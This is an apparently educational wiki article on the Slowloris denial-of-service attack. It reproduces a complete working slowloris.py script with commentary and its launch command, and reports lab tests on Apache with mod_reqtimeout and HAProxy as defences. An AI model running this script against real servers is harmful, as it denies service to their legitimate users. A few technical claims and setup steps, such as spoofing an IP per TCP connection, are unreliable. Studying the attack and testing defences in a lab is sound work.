Slow Loris DoS Attack

From Elvis Wiki

Description

Slow Loris was invented by Robert Hansen “RSnake” and got published in June 2009. This Denial of service (DoS) Attack belongs of the category of Low and Slow Attacks. This type of DoS attack doesn't need a tremendous amount of computing power or bandwidth to make a big impact. Furthermore, it is possible to take down a small website with the use of only PC that doesn’t even runs under full load during the attack.

The attack works only at a portion of Web server programs like Apache because it attacks a specific design decision of the connection management. Apache is designed to allow only a predefined number of connections, which can be edited in the configuration file. The sow loris is abusing this vulnerability by opening a huge amount of connections and keeps them alive during the attack. This fills up the available connections of the web server and restricts a legitimate user to access the web server.

The Slow Loris attack is keeping all its connections alive by exploiting another inconvenience of the http protocol. Http is designed to keep connections alive until the whole the whole Request is sent or there the client didn't any data for a period of time and a timer exceeds. This design decision is needed for extremely slow connections, which were quite common in 1991 when HTTP came out. Slow Loris is abusing this feature by never ending the and sending little header packets of a handful bytes.

The figure shows one http connection of the original implementation. It starts by sending the Get request line followed by the User agent information and the accepted language. Then the exploit takes place by sending a random number to the X-a HTTP header field every fifteen seconds without closing the request. HTTP allows custom header fields which always start with “X-”.

Affected Webservers

RSnake stated in the documentation [1] that the following web servers were affected by the time the he published the source code:

  • Apache 1.x
  • Apache 2.x
  • dhttpd
  • GoAhead WebServer

He also stated that that following web servers were not affected due to a different connection management design:

  • IIS6.0
  • IIS7.0
  • lighttpd
  • Squid
  • nginx
  • Cherokee (verified by user community)
  • Netscaler
  • Cisco CSS (verified by user community)

Mitigating the Slow Loris Attack

The slow loris attack is really hard to detect because the connections are used the legitimate way, but there are some ways to mitigate the attack:

  • Increase the server availability

Increasing the allowed connections can help against a little attacker but it comes a financial effort. A little web page like a Blog would make more financial loss by spending extra money for server resources than being offline for a day.

  • Restrict the connections of one user

Restricting the number of connections that one user can be easily avoided by spoofing a random IP address for every connection. Furthermore, attacks on big websites come from botnets with thousands of different devices and IP addresses.

  • Using reverse proxies, firewalls or load balancers


Examine the Source code of slowloris.py

The following source code is a copy of the Attack programmed for Python by the github user gkbrk. The repo of the source code can be found here.

The connection works really similar to the original implementation by starting to send a get request at line 35. The format function exchanges the {} characters with the value in the round brackets of the function.

 s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8")) 

In line 37 it sends the User-agent information and the Accepted language. The exploit takes place at line 43 by sending a random value to the X-a header.


 1 |  import socket     --------------------------------------------------------------------------------------|
 2 |  import random                                                                                           | Library Imports
 3 |  import time                                                                                             |
 4 |  import sys     -----------------------------------------------------------------------------------------|
 5 |
 6 |  log_level = 2     --------------------------------------------------------------------------------------|
 7 |                                                                                                          |
 8 |  def log(text, level=1):                                                                                 | Defining the Log Function
 9 |      if log_level >= level:                                                                              |
 10|          print(text)     --------------------------------------------------------------------------------|
 11|
 12|  list_of_sockets = []     ------------------------------------------------------------------------------- Creating a Socket list
 13|  
 14|  regular_headers = [     --------------------------------------------------------------------------------| 
 15|      "User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",                    | Defining HTTP header values
 16|      "Accept-language: en-US,en,q=0.5"]     -------------------------------------------------------------|
 17|
 18|  ip = sys.argv[1]    ------------------------------------------------------------------------------------|
 19|  socket_count = 100                                                                                      | Defining the IP address and 
 20|  log("Attacking {} with {} sockets.".format(ip, socket_count))     --------------------------------------| the amount of connections
 21|
 22|  log("Creating sockets...")     -------------------------------------------------------------------------|
 23|  for _ in range(socket_count):                                                                           | Creating Sockets and adding  
 24|      try:                                                                                                | them to the Socket list
 25|          log("Creating socket nr {}".format(_), level=2)                                                 |
 26|          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                                           |
 27|          s.settimeout(4)                                                                                 |
 28|          s.connect((ip, 80))                                                                             |
 29|      except socket.error:                                                                                |
 30|          break                                                                                           |
 31|      list_of_sockets.append(s)     ----------------------------------------------------------------------|
 32|
 33|  log("Setting up the sockets...")      ------------------------------------------------------------------|
 34|  for s in list_of_sockets:                                                                               |
 35|      s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))                     | Sending the initial
 36|      for header in regular_headers:                                                                      |  Header fields
 37|          s.send(bytes("{}\r\n".format(header).encode("utf-8")))     -------------------------------------|
 38|
 39|  while True:      ---------------------------------------------------------------------------------------|
 40|      log("Sending keep-alive headers...")                                                                | Sending every 15 seconds
 41|      for s in list_of_sockets:                                                                           | a random value to the X-a 
 42|          try:                                                                                            | header filed.
 43|              s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))                       | Also checking if the
 44|          except socket.error:                                                                            | socket got disconnected 
 45|              list_of_sockets.remove(s)                                                                   | and create a new one if 
 46|              try:                                                                                        | it is the case
 47|                  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                                   |
 48|                  s.settimeout(4)                                                                         |
 49|                  s.connect((ip, 80))                                                                     |
 50|                  for s in list_of_sockets:                                                               |
 51|                      s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))     |
 52|                      for header in regular_headers:                                                      |
 53|                          s.send(bytes("{}\r\n".format(header).encode("utf-8")))                          |
 54|              except socket.error:                                                                        |
 55|                  continue                                                                                |
 56|                                                                                                          |
 57|      time.sleep(15)      --------------------------------------------------------------------------------|


Practical slow loris attack scenarios

Some practical slowloris attack scenarios against the Apache web server are presented in the following section. All the attack scenarios were carried out on two virtual machines running Ubuntu 22.04.4 LTS. Each VM had access to 4 GiB of RAM and a dual-core processor. A level 2 hypervisor, VMware® Workstation 17 Pro version 17.5.2, was used. Apache version 2.4.52 was used as a web server.

The following scenarios illustrate the effects of a Slow Loris attack on the Apache web server when it is running with the "mpm_prefork" module. The Apache web server using the "mpm_prefork" module is used for this analysis because it most clearly shows the effects of the Slow Loris attack. However, it should be noted that there are other modules for the Apache web server that are far less affected by the Slow Loris attack. The server status panel integrated into the Apache web server provides information that can be used to visualise changes in the availability and status of the limited resource 'working threads' at the end of Sections 2 and 3. The several scenarios should help people with an interest in the subject to deepen their understanding of the Slow Loris attack.


Scenario 1 Slow Loris attack against apache webserver with the the "reqtimeout_module" disabled

The Figure representing Scenario 1 shows an Apache web server using the prefork module, which makes it particularly vulnerable to the Slow Loris attack. Furthermore, the module that is most effective against the Slow Loris attack is disabled.


The "mod_reqtimeout" module, along with the "mod_qosnot" and "mod_evasive", is one of the modules that helps defend against slow-dos attacks. However, the "mod_reqtimeout" module is the most effective in combatting Slow Loris attacks. [5] [6] Most Linux distributions enabled the "mod_reqtimeout" module by default in 2010.The "mod_reqtimeout" module was introduced with Apache version 2.2.15 [7], which was released in March 6th 2010. The Slow Loris attack belongs to the SlowDOS attack family, but there are other attacks in this family too. The "mod_reqtimeout" module accomplishes this by offering the opportunity to limit how long the client has to send the complete header of the GET request before the connection is closed. Additionally, it offers the opportunity to limit the time until the complete HTTP body must be received from the server [8]. However, when focusing solely on defence against Slowloris, limiting the time until the complete header is received is sufficient. It also allows to increase the time frame until the complete header must be sent for every x amount of bytes/s received from the client.

The figure shows the configuration file for the "mod_reqtimeout" module, which can be found at "/etc/apache2/mods-enabled/reqtimeout.conf" with its default values. Line 19 shows the restrictions for the HTTP header, which tell Apache to wait a maximum of 20 seconds for the first byte of the request line and headers. From then on, it requires a minimum data rate of 500 bytes/s but does not wait for more than 40 seconds in total. Line 23 shows the restrictions for the HTTP body, which wait a maximum of 10 seconds for the first byte of the request body (if applicable). From then on, it requires a minimum data rate of 500 bytes/s.


The Slowloris attack is most effective when the Apache web server uses the 'mpm_prefork' module, because this enables the server to offer each socket a dedicated worker thread that remains bound to the socket until the connection is closed. The thread remains exclusively bound to the socket even when the thread is waiting for I/O operations to be completed. Before enabling the "mpm_prefork" module, the "event_modul", which is enabled by default, must be disabled using the command "sudo a2dismod mpm_event", followed by enabling the "mpm_prefork" module using the command "sudo a2enmod mpm_prefork".

The The figure shows how to enable the "mpm_prefork" module, which is not active by default.


To see how the Apache web server reacts to the Slowloris attack in the first scenario, the "mod_reqtimeout" module must be disabled. The required configuration file is located at "/etc/apache2/mods-enabled/reqtimeout.load", where the "#" sign must be removed to uncomment it. After uncommenting, the Apache web server must be restarted. The "apache2ctl -M" command is used to check if the module is disabled. This command produces a list of the currently loaded modules. If "mod_reqtimeout" does not show up, it is deactivated.

The figure shows how to configure the reqtimeout model so that it isn't loaded again.


The attack can be launched using the following command: "python3 slowloris.py 192.168.78.132". The victim's IP address is used for the IP address. The -p and -s switches can be used to specify a port and the number of connections to establish, respectively.


Scenario 1 showed that, without the reqtimeout module, the finite number of 150 worker threads available by default were bound by the attacker in a fraction of a second. This results in a web server that cannot serve additional clients besides the attacker. No picture is shown because the monitoring tool was unable to monitor the described situation.


Scenario 2 Slow Loris attack against apache webserver with the the "reqtimeout_module" enabled

The Figure representing Scenario 2 shows an Apache web server using the prefork module, which makes it particularly vulnerable to the Slow Loris attack. However, compared to Scenario 1, the module most effective against the Slow Loris attack is enabled. After a further 20 seconds, the second drop of the busy workers releases the remaining bound threads. This starts the cycle again.


A clear repeating pattern is visible. A finite number of worker threads are bound one after another until the default rule takes effect and prevents a large number of worker threads from being blocked any longer, resulting in the number of bound worker threads stabilising after 20 seconds. After a further 20 seconds, the second drop of the busy workers releases the remaining bound threads. This starts the cycle again. The figure reflects the default settings of the reqtimeout module in the form of bound threads (red), unbound threads (green) and how many of the bound threads were in the Reading Request status (blue) at that point in time. Constantly being in the Reading Request phase is an indicator of a Slow Loris attack.

Scenario 3 Slow Loris attack against apache webserver with the the "reqtimeout_module" disabled, protected by HAProxy

The Figure representing Scenario 3 shows an Apache web server using the prefork module. The reqtimeout_module is deactivated, but HAProxy, which runs on the same machine, defends the web server against Slow Loris attacks.


The Haproxy archives the best results from all three scenarios.

All parameters are kept constant atthe HAproxy in Scenario 3.

Appendix Practical Slow Loris attack scenarios

Bash script used for monitoring

#!/bin/bash

STATUS_URL="http://127.0.0.1/server-status?auto"
OUTFILE="apache_monitor_$(date +%Y%m%d_%H%M%S).csv"
DURATION=180   # 3 minutes
INTERVAL=1     # seconds between samples

echo "timestamp,busy_workers,idle_workers,r_count" > "$OUTFILE"

echo "Running Apache monitor for $DURATION seconds..."
echo "Output file: $OUTFILE"

START=$(date +%s)

while true; do
    NOW=$(date +%s)
    ELAPSED=$((NOW - START))

    if [ $ELAPSED -ge $DURATION ]; then
        echo "Monitoring complete."
        break
    fi

    RAW=$(curl -s "$STATUS_URL")

    BUSY=$(echo "$RAW" | grep BusyWorkers | awk '{print $2}')
    IDLE=$(echo "$RAW" | grep IdleWorkers | awk '{print $2}')
    SCORE=$(echo "$RAW" | grep Scoreboard | awk '{print $2}')
    RCOUNT=$(echo "$SCORE" | tr -cd 'R' | wc -c)

    echo "$NOW,$BUSY,$IDLE,$RCOUNT" >> "$OUTFILE"

    sleep $INTERVAL
done

Config file used for HAProxy

global
    log /dev/log local0
    log /dev/log local1 notice
    chroot /var/lib/haproxy
    stats socket /run/haproxy/admin.sock mode 660 level admin expose-fd listeners
    stats timeout 300s
    user haproxy
    group haproxy
    daemon

    maxconn 5000

defaults
    log     global
    mode    http
    option  httplog
    option  dontlognull

    # --- Slow Loris Defense ---
    timeout client 10s
    timeout http-request 5s
    timeout http-keep-alive 5s
    timeout connect 5s
    timeout server 10s
    timeout queue 5s
    

   

    maxconn 5000

frontend fe_http
    bind *:8080
    mode http
    default_backend be_webserver

    tcp-request inspect-delay 5s
    tcp-request content accept if HTTP

backend be_webserver
    mode http
    server web1 192.168.78.132:80

References

[1] https://web.archive.org/web/20150426090206/http://ha.ckers.org/slowloris [2] https://en.m.wikipedia.org/wiki/Slowloris_(computer_security) [3] https://gist.github.com/gkbrk/5de70f35e69343718431#file-slowloris-py [4] https://www.cloudflare.com/learning/ddos/ddos-attack-tools/slowloris/ [5] https://nvd.nist.gov/vuln/detail/CVE-2007-6750 [6] https://access.redhat.com/solutions/340613 [7] https://svn.apache.org/repos/asf/httpd/httpd/branches/2.2.x/STATUS [8] https://httpd.apache.org/docs/current/mod/mod_reqtimeout.html